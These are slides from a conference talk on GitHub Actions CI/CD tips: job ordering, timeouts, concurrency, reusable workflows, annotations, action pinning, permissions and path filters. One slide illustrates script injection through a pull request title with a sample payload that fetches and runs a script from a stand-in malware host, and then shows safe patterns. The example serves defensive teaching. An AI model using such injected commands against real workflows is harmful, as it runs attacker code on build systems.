GitHub Actions Workflows


Tips and Best Practices for
Streamlining Your CI/CD Pipelines





A talk by Thorsten Frommen.

GitHub Actions

Gollum.
Thorsten Frommen

Thorsten Frommen

From Germany, just across the border.

Principal Engineer at Syde.

WordPress since 2005.

WordCamps since 2014.

More WordCamps in the Netherlands than in Germany. (since 2019)

Worked a lot with GitHub Actions over the last 3 years.

What Is GitHub Actions?

  • GitHub Actions is a continuous integration and continuous delivery (CI/CD) platform.
  • Automates workflows for building, testing, and deploying code.
  • Allows to streamline development processes directly from your GitHub repositories.

gollum



Runs your workflow when someone creates or updates a Wiki page.

(Only works for workflow files on the default branch.)

Why Use GitHub Actions?

  • Automatically build, test, and deploy code after every push or pull request.
  • Set up custom workflows for any development stage.
  • Built-in GitHub integration, no setup required.
  • Large library of pre-built actions and workflows from the GitHub community.

How to Use GitHub Actions?

GitHub Actions workflow overview.

GitHub Actions Workflow


name: GitHub Actions Demo

on: [push]

jobs:
  github-actions-demo:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo 'Event: ${{ github.event_name }}'
          echo 'Repository: ${{ github.repository }}'
          echo 'Branch: ${{ github.ref }}'

      - uses: actions/checkout@v4

      - run: |
          ls ${{ github.workspace }}
			

What to Use GitHub Actions For?

  • Check coding standards or static analysis.
  • Compile and build asset files or entire applications.
  • Execute dynamic tests (e.g., unit, E2E, a11y, performance, VRT).
  • Deploy web applications to Cloud environments.
  • What do you use it for?

Tips and Best Practices

⚠️ Warning ⚠️

A woman holding a rifle that shoots a lot of food into a man's face.
(This is a shotgun buffet.)

Parallel Tasks


jobs:
  lint:
    uses: tfrommen/gha/lint-php@main

  coding-standards:
    uses: tfrommen/gha/coding-standards-php@main

  static-analysis:
    uses: tfrommen/gha/static-analysis-php@main
			

Sequential Tasks


jobs:
  php-quality-assurance:
    runs-on: ubuntu-latest
    steps:
      - uses: tfrommen/gha/lint-php@main

      - uses: tfrommen/gha/coding-standards-php@main

      - uses: tfrommen/gha/static-analysis-php@main
			

Sequential and Parallel Tasks


jobs:
  lint:
    uses: tfrommen/gha/lint-php@main

  coding-standards:
    uses: tfrommen/gha/coding-standards-php@main

  static-analysis:
    uses: tfrommen/gha/static-analysis-php@main
			

Sequential and Parallel Tasks


jobs:
  lint:
    uses: tfrommen/gha/lint-php@main

  coding-standards:
    needs: lint
    uses: tfrommen/gha/coding-standards-php@main

  static-analysis:
    needs: lint
    uses: tfrommen/gha/static-analysis-php@main
			

Setting a Timeout


jobs:
  php-quality-assurance:
    runs-on: ubuntu-latest
    steps:
      - uses: tfrommen/gha/lint-php@main

      - uses: tfrommen/gha/coding-standards-php@main
			

Setting a Timeout


jobs:
  php-quality-assurance:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: tfrommen/gha/lint-php@main

      - uses: tfrommen/gha/coding-standards-php@main
			

Setting a Timeout


jobs:
  php-quality-assurance:
    runs-on: ubuntu-latest
    steps:
      - timeout-minutes: 5
        uses: tfrommen/gha/lint-php@main

      - timeout-minutes: 10
        uses: tfrommen/gha/coding-standards-php@main
			

Canceling Obsolete Workflow Runs


concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true
			

Canceling Obsolete Workflow Runs


concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ !contains(github.ref, 'release/')}}
			

Scheduling Workflow Runs


on:
  schedule:
    - cron: '0 0 * * *'
			
  • Specify UTC times using the POSIX cron syntax.
  • Since * is a special character in YAML, you need to quote.
  • Example: Generating stubs for WordPress, inpsyde/wp-stubs.
  • Example: Custom Dependabot alternative (e.g., for private registries).

Manually Running a Workflow


on: workflow_dispatch
			
Screenshot showing a GitHub Actions workflow that has a workflow_dispatch event trigger.

Reusable Workflows


on: workflow_call
			
  • Original payload of the initially triggered workflows automatically passed.
  • Abstracting common tasks to avoid duplication and simplify maintenance.
  • Specify inputs and outputs to communicate with the past and the future.

Reusable Workflows

.github/workflows/my-workflow.yml:


jobs:
  my-workflow:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - uses: ./.github/workflows/my-reusable-workflow
			

.github/workflows/my-reusable-workflow.yml:


on: workflow_call

jobs:
  my-reusable-workflow:
    runs-on: ubuntu-latest
    steps:
      - ...
				

Composite Actions

.github/workflows/my-workflow.yml:


jobs:
  my-workflow:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - uses: ./.github/actions/my-action
			

.github/actions/my-action/action.yml:


name: My Custom Composite Action

runs:
  using: composite
  steps:
    - ...
				

Composite Actions

Debugging Workflow Runs


jobs:
  debug-workflow:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "::debug::This is only visible in Debug Mode!"
			

Non-Exiting Scripts


jobs:
  script:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Starting..."
          some-command-that-fails
          echo "Done!"
			

Non-Exiting Scripts


jobs:
  script:
    runs-on: ubuntu-latest
    steps:
      - shell: bash {0}
        run: |
          echo "Starting..."
          some-command-that-fails
          echo "Done!"
			

Non-Exiting Scripts


jobs:
  script:
    runs-on: ubuntu-latest
    steps:
      - shell: bash {0}
        run: |
          some-command-that-fails
          CODE=$?
          # Maybe write to file, process data, send request etc.
          exit $CODE
			

Annotations

  • Add inline messages to any file.
  • Available types: notice, warning, and error.
  • Additional optional parameters such as title.
  • Syntax:
    
    ::<TYPE> file=<FILE>,line=<LINE>::<MESSAGE>
    					

jobs:
  annotate-readme:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "::notice file=README.md,line=1::😍"
			

Annotations


jobs:
  annotate-parallel-lint:
    runs-on: ubuntu-latest
    steps:
      - shell: bash {0}
        run: |
          JSON=$(parallel-lint --json --no-colors --no-progress .)
          [[ "$JSON" =~ '"errors":[]' ]] && exit 0
          echo "$JSON" | jq -r '.results.errors[] | "::error file=\(.file),line=\(.line)::\(.message)"'
          exit 1
			

Job Summaries

  • Move relevant output from the terminal to a more prominent place.
  • Job summaries are useful for steps that do not include inline annotations.
  • Add information by writing to the $GITHUB_STEP_SUMMARY file.

jobs:
  summary:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo '### Hello world! :rocket:' >> $GITHUB_STEP_SUMMARY
			
Screenshot of a Job Summary on GitHub.

Pinning Third-Party Actions or Workflows


jobs:
  lint:
    uses: tfrommen/gha/lint-php@main

  coding-standards:
    uses: tfrommen/gha/coding-standards-php@v1

  static-analysis:
    uses: tfrommen/gha/static-analysis-php@1d6d001adedabdbfd3d8dbddfc7cc7f5e032882e
			

Specifying Permissions


permissions:
  actions: read|write|none
  attestations: read|write|none
  checks: read|write|none
  contents: read|write|none
  deployments: read|write|none
  id-token: write|none
  issues: read|write|none
  discussions: read|write|none
  packages: read|write|none
  pages: read|write|none
  pull-requests: read|write|none
  repository-projects: read|write|none
  security-events: read|write|none
  statuses: read|write|none
			

Specifying Permissions


permissions: {}
			


permissions:
  contents: read
  pull-requests: write
			

Specifying Permissions


name: My Workflow

on: [push]

permissions: read-all

jobs:
  ...
			


jobs:
  my-job:
    runs-on: ubuntu-latest
    permissions:
      issues: write
      pull-requests: write
    steps:
      ...
			

Path Filters (Native)

  • Restrict workflow run to specific changes.
  • Supported event triggers: push, pull_request, and pull_request_target.
  • Also possible to ignore specific paths.

on:
  push:
    paths:
      - '**.php'
      - '!tests/**'
			

😢

There is an issue with branch protection...

Paths Filter (Action)


jobs:
  composer-validate:
    steps:
      - uses: actions/checkout@v4

      - uses: dorny/paths-filter@v2
        id: paths
        with:
          filters: |
            composer:
              - 'composer.json'
              - 'composer.lock'

      - if: ${{ steps.paths.outputs.composer == 'true' }}
        uses: ./.github/actions/setup-php

      - if: ${{ steps.paths.outputs.composer == 'true' }}
        run: composer validate --no-check-all --no-check-publish
			

Paths Filter (Action)


          filters: |
            workflows: &workflows
              - '.github/actions/**/*.yml'
              - '.github/workflows/**/*.yml'
            npm: &npm
              - *workflows
              - 'package.json'
              - 'package-lock.json'
            javascript:
              - *npm
              - '**/*.js'
              - '**/*.jsx'
            styles:
              - *npm
              - '**/*.css'
              - '**/*.scss'
			

Paths Filter (Action)


     - if: ${{ toJSON( steps.paths.outputs.changes ) != '"[]"' }}
        uses: ./.github/actions/setup-node

      - if: ${{ toJSON( steps.paths.outputs.changes ) != '"[]"' }}
        run: npm ci --no-progress --no-fund --no-audit --loglevel error

      - if: ${{ steps.paths.outputs.javascript == 'true' || steps.paths.outputs.npm == 'true' }}
        run: npm test

      - if: ${{ steps.paths.outputs.javascript == 'true' || steps.paths.outputs.styles == 'true' || steps.paths.outputs.npm == 'true' }}
        run: npm run build
			

Never Trust User Input


- run: |
    ./scripts/check-title.sh ${{github.event.pull_request.title}}
			

Do NOT do this!



"title" && curl https://malware.com/malware.sh && ./malware.sh
			

Never Trust User Input


- uses: tfrommen/gha/check-title@main
  with:
    title: ${{github.event.pull_request.title}}
			


- env:
    TITLE: ${{github.event.pull_request.title}}
  run: |
    ./scripts/check-title.sh $TITLE
			

Linting Workflow Files


name: Lint GitHub Actions workflows

on: [pull_request]

jobs:
  lint-workflows:
    uses: inpsyde/reusable-workflows/.github/workflows/lint-workflows.yml@main
			
Screenshot of actionlint output in terminal.

Using Dependabot for GitHub Actions

.github/dependabot.yml:


version: 2

updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
			

Useful Actions

Useful Actions


You?

Useful Reusable Workflows

Useful Reusable Workflows

Questions?





Slides: slides.tfrommen.de/gha-wcnl